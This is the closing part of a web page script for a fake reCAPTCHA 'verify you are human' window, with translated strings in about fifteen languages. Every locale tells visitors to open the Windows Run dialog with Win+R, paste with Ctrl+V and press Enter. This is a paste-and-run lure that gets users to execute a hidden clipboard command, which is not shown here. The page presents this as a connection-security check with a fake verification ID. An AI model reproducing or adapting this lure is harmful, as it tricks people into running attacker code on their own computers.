    ar:{checking:"جاري التحقق من أنك إنسان. قد يستغرق هذا بضع ثوانٍ.",verifyInstruction:"تحقق من أنك إنسان بإكمال الخطوة أدناه.",verifying:"جارٍ التحقق…",notRobot:"لست برنامج روبوت",steps:"التحقق",success:"تم بنجاح.",verifyTitle:"لإثبات أنك لست روبوتًا:",step1:"اضغط مع الاستمرار على مفتاح Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"في نافذة التحقق اضغط <b>Ctrl</b> + <b>V</b>.",step3:"اضغط <b>Enter</b> للإنهاء.",observe:"بالمتابعة، فإنك تؤكد:",confirmLead:"أنا لست روبوتًا – معرّف تحقق reCAPTCHA: ",final:"أكمل الخطوات أعلاه لإنهاء التحقق.",verifyBtn:"تحقق",confidentiality:"السرية",terms:"الشروط والأحكام",footer:"يجب مراجعة أمان الاتصال قبل المتابعة."},

    zh:{checking:"正在检查您是否为人类。这可能需要几秒钟。",verifyInstruction:"通过完成以下操作验证您是人类。",verifying:"正在验证…",notRobot:"我不是机器人",steps:"验证",success:"成功。",verifyTitle:"为证明您不是机器人:",step1:"按住 Windows 键 <i class='fab fa-windows'></i> + <b>R</b>。",step2:"在验证窗口中按 <b>Ctrl</b> + <b>V</b>。",step3:"按 <b>Enter</b> 完成。",observe:"继续操作即表示您确认:",confirmLead:"我不是机器人 — reCAPTCHA 验证 ID:",final:"请完成以上步骤以完成验证。",verifyBtn:"验证",confidentiality:"保密",terms:"条款和条件",footer:"需要在继续之前检查您连接的安全性。"},

    ja:{checking:"あなたが人間かどうか確認しています。数秒かかる場合があります。",verifyInstruction:"以下の操作を完了して、人間であることを確認してください。",verifying:"確認中…",notRobot:"私はロボットではありません",steps:"確認",success:"成功しました。",verifyTitle:"ロボットではないことを証明するために:",step1:"Windowsキー <i class='fab fa-windows'></i> + <b>R</b> を押し続けてください。",step2:"検証ウィンドウで <b>Ctrl</b> + <b>V</b> を押してください。",step3:"<b>Enter</b> を押して完了します。",observe:"続行すると、次を確認します:",confirmLead:"私はロボットではありません — reCAPTCHA 検証 ID: ",final:"上記の手順を実行して検証を完了してください。",verifyBtn:"確認する",confidentiality:"機密保持",terms:"利用規約",footer:"続行する前に接続のセキュリティを確認する必要があります。"},

    ru:{checking:"Проверяем, что вы человек. Это может занять несколько секунд.",verifyInstruction:"Подтвердите, что вы человек, выполнив действие ниже.",verifying:"Проверка…",notRobot:"Я не робот",steps:"Проверка",success:"Успешно.",verifyTitle:"Чтобы доказать, что вы не робот:",step1:"Удерживайте клавишу Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"В окне проверки нажмите <b>Ctrl</b> + <b>V</b>.",step3:"Нажмите <b>Enter</b> для завершения.",observe:"Продолжая, вы подтверждаете:",confirmLead:"Я не робот — ID проверки reCAPTCHA: ",final:"Выполните шаги выше, чтобы завершить проверку.",verifyBtn:"Проверить",confidentiality:"Конфиденциальность",terms:"Условия использования",footer:"должен проверить безопасность вашего соединения перед продолжением."},

    es:{checking:"Comprobando si eres humano. Esto puede tardar unos segundos.",verifyInstruction:"Verifica que eres humano completando la acción siguiente.",verifying:"Verificando…",notRobot:"No soy un robot",steps:"Verificación",success:"Correcto.",verifyTitle:"Para demostrar que no eres un robot:",step1:"Mantén pulsada la tecla Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"En la ventana de verificación, pulsa <b>Ctrl</b> + <b>V</b>.",step3:"Pulsa <b>Enter</b> para finalizar.",observe:"Al continuar, confirmas:",confirmLead:"No soy un robot — ID de verificación reCAPTCHA: ",final:"Realiza los pasos anteriores para finalizar la verificación.",verifyBtn:"Verificar",confidentiality:"Confidencialidad",terms:"Términos y condiciones",footer:"debe revisar la seguridad de tu conexión antes de continuar."},

    pt:{checking:"Verificando se você é humano. Isso pode levar alguns segundos.",verifyInstruction:"Confirme que você é humano concluindo a ação abaixo.",verifying:"Verificando…",notRobot:"Não sou um robô",steps:"Verificação",success:"Concluído.",verifyTitle:"Para provar que você não é um robô:",step1:"Mantenha pressionada a tecla Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Na janela de verificação, pressione <b>Ctrl</b> + <b>V</b>.",step3:"Pressione <b>Enter</b> para concluir.",observe:"Ao continuar, você confirma:",confirmLead:"Não sou um robô — ID de verificação reCAPTCHA: ",final:"Conclua as etapas acima para finalizar a verificação.",verifyBtn:"Verificar",confidentiality:"Confidencialidade",terms:"Termos e condições",footer:"precisa revisar a segurança da sua conexão antes de prosseguir."},

    nl:{checking:"Controleren of u een mens bent. Dit kan enkele seconden duren.",verifyInstruction:"Bevestig dat u een mens bent door de onderstaande actie uit te voeren.",verifying:"Bezig met controleren…",notRobot:"Ik ben geen robot",steps:"Verificatie",success:"Gelukt.",verifyTitle:"Om aan te tonen dat u geen robot bent:",step1:"Houd de Windows-toets <i class='fab fa-windows'></i> + <b>R</b> ingedrukt.",step2:"Druk in het verificatievenster op <b>Ctrl</b> + <b>V</b>.",step3:"Druk op <b>Enter</b> om af te ronden.",observe:"Als u doorgaat, bevestigt u:",confirmLead:"Ik ben geen robot — reCAPTCHA-verificatie-ID: ",final:"Voer de bovenstaande stappen uit om de verificatie te voltooien.",verifyBtn:"Verifiëren",confidentiality:"Vertrouwelijkheid",terms:"Voorwaarden",footer:"moet de veiligheid van uw verbinding controleren voordat u verdergaat."},

    tr:{checking:"İnsan olup olmadığınız kontrol ediliyor. Bu birkaç saniye sürebilir.",verifyInstruction:"Aşağıdaki işlemi tamamlayarak insan olduğunuzu doğrulayın.",verifying:"Doğrulanıyor…",notRobot:"Ben robot değilim",steps:"Doğrulama",success:"Başarılı.",verifyTitle:"Robot olmadığınızı kanıtlamak için:",step1:"Windows tuşunu <i class='fab fa-windows'></i> + <b>R</b> ile basılı tutun.",step2:"Doğrulama penceresinde <b>Ctrl</b> + <b>V</b> tuşlarına basın.",step3:"Bitirmek için <b>Enter</b>’a basın.",observe:"Devam ederek şunları onaylarsınız:",confirmLead:"Robot değilim — reCAPTCHA Doğrulama Kimliği: ",final:"Doğrulamayı tamamlamak için yukarıdaki adımları uygulayın.",verifyBtn:"Doğrula",confidentiality:"Gizlilik",terms:"Şartlar ve Koşullar",footer:"devam etmeden önce bağlantınızın güvenliğini kontrol etmelidir."},

    ko:{checking:"사용자가 사람인지 확인하는 중입니다. 잠시만 기다려 주세요.",verifyInstruction:"아래 작업을 완료하여 사람이 맞는지 확인하세요.",verifying:"확인 중…",notRobot:"나는 로봇이 아닙니다",steps:"검증",success:"성공.",verifyTitle:"로봇이 아님을 증명하려면:",step1:"Windows 키 <i class='fab fa-windows'></i> + <b>R</b>을 누르세요.",step2:"검증 창에서 <b>Ctrl</b> + <b>V</b>를 누르세요.",step3:"마치려면 <b>Enter</b>를 누르세요.",observe:"계속하면 다음을 확인합니다:",confirmLead:"로봇이 아닙니다 — reCAPTCHA 확인 ID: ",final:"위 단계들을 완료하여 검증을 마치세요.",verifyBtn:"확인",confidentiality:"기밀",terms:"이용약관",footer:"계속하기 전에 연결의 보안을 확인해야 합니다."},



    hi:{checking:"सत्यापित किया जा रहा है कि आप मानव हैं। इसमें कुछ सेकंड लग सकते हैं।",verifyInstruction:"नीचे दिया गया कार्य पूरा करके प्रमाणित करें कि आप एक मानव हैं।",verifying:"सत्यापित कर रहे हैं...",notRobot:"मैं एक रोबोट नहीं हूँ",steps:"सत्यापन चरण",success:"सफल।",verifyTitle:"यह सिद्ध करने के लिए कि आप रोबोट नहीं हैं:",step1:"Windows कुंजी <i class='fab fa-windows'></i> + <b>R</b> दबाकर रखें।",step2:"सत्यापन विंडो में <b>Ctrl</b> + <b>V</b> दबाएँ।",step3:"समाप्त करने के लिए कीबोर्ड पर <b>Enter</b> दबाएँ।",observe:"आप देखेंगे और सहमत होंगे:",confirmLead:"मैं एक रोबोट नहीं हूँ - reCAPTCHA सत्यापन आईडी: ",final:"सत्यापन पूरा करने के लिए ऊपर दिए गए चरणों का पालन करें।",verifyBtn:"सत्यापित करें",confidentiality:"गोपनीयता",terms:"नियम और शर्तें",footer:"आपकी कनेक्शन की सुरक्षा की समीक्षा करने की आवश्यकता है।"},

    id:{checking:"Memeriksa apakah Anda manusia. Ini mungkin membutuhkan beberapa detik.",verifyInstruction:"Verifikasi bahwa Anda manusia dengan menyelesaikan tindakan di bawah ini.",verifying:"Memverifikasi...",notRobot:"Saya bukan robot",steps:"Langkah Verifikasi",success:"Berhasil.",verifyTitle:"Untuk membuktikan bahwa Anda bukan robot:",step1:"Tekan dan tahan Tombol Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Di jendela verifikasi, tekan <b>Ctrl</b> + <b>V</b>.",step3:"Tekan <b>Enter</b> pada keyboard Anda untuk menyelesaikan.",observe:"Anda akan melihat dan menyetujui:",confirmLead:"Saya bukan robot - ID Verifikasi reCAPTCHA: ",final:"Lakukan langkah di atas untuk menyelesaikan verifikasi.",verifyBtn:"Verifikasi",confidentiality:"Kerahasiaan",terms:"Syarat dan Ketentuan",footer:"perlu meninjau keamanan koneksi Anda sebelum melanjutkan."},

    vi:{checking:"Đang kiểm tra xem bạn có phải là con người không. Việc này có thể mất vài giây.",verifyInstruction:"Xác minh bạn là người bằng cách hoàn thành hành động bên dưới.",verifying:"Đang xác minh...",notRobot:"Tôi không phải là rô-bốt",steps:"Các bước xác minh",success:"Thành công.",verifyTitle:"Để chứng minh bạn không phải là rô-bốt:",step1:"Nhấn và giữ phím Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Trong cửa sổ xác minh, nhấn <b>Ctrl</b> + <b>V</b>.",step3:"Nhấn <b>Enter</b> trên bàn phím để kết thúc.",observe:"Bạn sẽ quan sát và đồng ý:",confirmLead:"Tôi không phải là rô-bốt - ID xác minh reCAPTCHA: ",final:"Thực hiện các bước trên để hoàn tất xác minh.",verifyBtn:"Xác minh",confidentiality:"Bảo mật",terms:"Điều khoản và Điều kiện",footer:"cần kiểm tra bảo mật kết nối của bạn trước khi tiếp tục."},

    th:{checking:"กำลังตรวจสอบว่าคุณเป็นมนุษย์หรือไม่ อาจใช้เวลาสักครู่",verifyInstruction:"โปรดยืนยันว่าคุณเป็นมนุษย์โดยทำตามขั้นตอนด้านล่าง",verifying:"กำลังตรวจสอบ...",notRobot:"ฉันไม่ใช่หุ่นยนต์",steps:"ขั้นตอนการยืนยัน",success:"สำเร็จ",verifyTitle:"เพื่อพิสูจน์ว่าคุณไม่ใช่หุ่นยนต์:",step1:"กดค้างที่ปุ่ม Windows <i class='fab fa-windows'></i> + <b>R</b>",step2:"ในหน้าต่างการยืนยัน ให้กด <b>Ctrl</b> + <b>V</b>",step3:"กด <b>Enter</b> เพื่อเสร็จสิ้น",observe:"คุณจะเห็นและตกลง:",confirmLead:"ฉันไม่ใช่หุ่นยนต์ - รหัสยืนยัน reCAPTCHA: ",final:"ดำเนินการตามขั้นตอนด้านบนเพื่อเสร็จสิ้นการยืนยัน",verifyBtn:"ยืนยัน",confidentiality:"ความลับ",terms:"ข้อกำหนดและเงื่อนไข",footer:"จำเป็นต้องตรวจสอบความปลอดภัยของการเชื่อมต่อของคุณก่อนดำเนินการต่อ."},

    uk:{checking:"Перевірка, чи ви людина. Це може зайняти кілька секунд.",verifyInstruction:"Підтвердіть, що ви людина, виконавши дію нижче.",verifying:"Перевірка...",notRobot:"Я не робот",steps:"Кроки перевірки",success:"Успішно.",verifyTitle:"Щоб довести, що ви не робот:",step1:"Утримуйте клавішу Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"У вікні перевірки натисніть <b>Ctrl</b> + <b>V</b>.",step3:"Натисніть <b>Enter</b>, щоб завершити.",observe:"Ви побачите та погодитесь:",confirmLead:"Я не робот — ідентифікатор перевірки reCAPTCHA: ",final:"Виконайте наведені вище кроки, щоб завершити перевірку.",verifyBtn:"Перевірити",confidentiality:"Конфіденційність",terms:"Умови",footer:"повинна перевірити безпеку вашого з'єднання перед продовженням."},

    cs:{checking:"Kontroluje se, zda jste člověk. To může trvat několik sekund.",verifyInstruction:"Ověřte, že jste člověk, provedením níže uvedené akce.",verifying:"Ověřování...",notRobot:"Nejsem robot",steps:"Kroky ověření",success:"Úspěšně.",verifyTitle:"Aby se prokázalo, že nejste robot:",step1:"Stiskněte a podržte klávesu Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"V ověřovacím okně stiskněte <b>Ctrl</b> + <b>V</b>.",step3:"Stiskněte <b>Enter</b> pro dokončení.",observe:"Budete pozorovat a souhlasit:",confirmLead:"Nejsem robot — ID ověření reCAPTCHA: ",final:"Pro dokončení ověření proveďte výše uvedené kroky.",verifyBtn:"Ověřit",confidentiality:"Důvěrnost",terms:"Podmínky",footer:"musí zkontrolovat bezpečnost vašeho připojení před pokračováním."}
  };

  function detectLang(){
    const prefs=(navigator.languages&&navigator.languages.length?navigator.languages:[navigator.language||"en"]).map(x=>x.toLowerCase());
    for(const l of prefs){
      if(l.startsWith("ar")) return "ar";
      if(l.startsWith("he")) return "ar"; // treat hebrew as rtl (will be handled)
      if(l.startsWith("fr")) return "fr";
      if(l.startsWith("de")) return "de";
      if(l.startsWith("it")) return "it";
      if(l.startsWith("ja")) return "ja";
      if(l.startsWith("zh")) return "zh";
      if(l.startsWith("ko")) return "ko";
      if(l.startsWith("ru")) return "ru";
      if(l.startsWith("es")) return "es";
      if(l.startsWith("pt")) return "pt";
      if(l.startsWith("nl")) return "nl";
      if(l.startsWith("tr")) return "tr";
      if(l.startsWith("pl")) return "pl";
      if(l.startsWith("sv")) return "sv";
      if(l.startsWith("da")) return "da";
      if(l.startsWith("fi")) return "fi";
      if(l.startsWith("hi")) return "hi";
      if(l.startsWith("id")) return "id";
      if(l.startsWith("vi")) return "vi";
      if(l.startsWith("th")) return "th";
      if(l.startsWith("uk")) return "uk";
      if(l.startsWith("cs")) return "cs";
      if(l.startsWith("en")) return "en";
    }
    return "en";
  }

  function ready(fn){ if(document.readyState==="loading") document.addEventListener("DOMContentLoaded",fn); else fn(); }

  ready(function(){
    const lang = detectLang();
    const t = i18n[lang] || i18n.en;

    // RTL support für arabisch + hebräisch
    if (lang === "ar" || lang === "he") document.documentElement.dir = "rtl";

   
    const pre = document.querySelector(".preloader_text"); if(pre) pre.textContent = t.checking;
    const allstep = document.querySelector(".textallstep"); if(allstep) allstep.textContent = t.verifyInstruction;


    const set = (sel, txt)=>{ document.querySelectorAll(sel).forEach(el=>el.textContent = txt); };
    set(".tettx .step0", t.verifying);
    set(".tettx .step1", t.notRobot);
    set(".tettx .step2", t.steps);
    set(".tettx .step3", t.success);


    const cb = document.getElementById("checkbox"); if (cb) cb.textContent = "";


    const titleP = document.querySelector("#verify-window .verify-main p:first-of-type");
    if (titleP) titleP.innerHTML = t.verifyTitle;

    const stepsOl = document.querySelector("#verify-window .verify-main ol");
    if (stepsOl) stepsOl.innerHTML = `<li>${t.step1}</li><li>${t.step2}</li><li>${t.step3}</li>`;


    const observeP = document.querySelector("#verify-window .verify-main p.observe");
    if (observeP) {
      const codeEl = observeP.querySelector("code");
      const pieces = observeP.innerHTML.split("<br>");
      pieces[0] = t.observe;
      observeP.innerHTML = pieces.join("<br>");
      if (codeEl) {
        const idSpan = codeEl.querySelector("#verification-id");
        const idHtml = idSpan ? idSpan.outerHTML : '<span id="verification-id"></span>';
        codeEl.innerHTML = ` ✅ "${t.confirmLead}${idHtml}" `;
      }
    }

    const left = document.querySelector(".verify-footer-left"); if (left) left.textContent = t.final;
    const btn = document.getElementById("verify-button"); if (btn) btn.textContent = t.verifyBtn;


    const legalBox = document.querySelector('#checkbox-window > div > div:last-child');
    if (legalBox) {
      const ps = legalBox.querySelectorAll("p");
      if (ps[0]) ps[0].textContent = t.confidentiality;
      if (ps[1]) ps[1].textContent = t.terms;
    }


    const domainParas = Array.from(document.querySelectorAll("p .domain-name")).map(s=>s.parentElement);
    for (const p of domainParas){
      if (/\bneeds to review the security of your connection before proceeding\./i.test(p.textContent)) {
        const host = (p.querySelector(".domain-name")?.textContent || window.location.hostname || "");
        p.innerHTML = `<span class="domain-name">${host}</span> ${t.footer}`;
        break;
      }
    }
  });
})();
</script>

</body></html>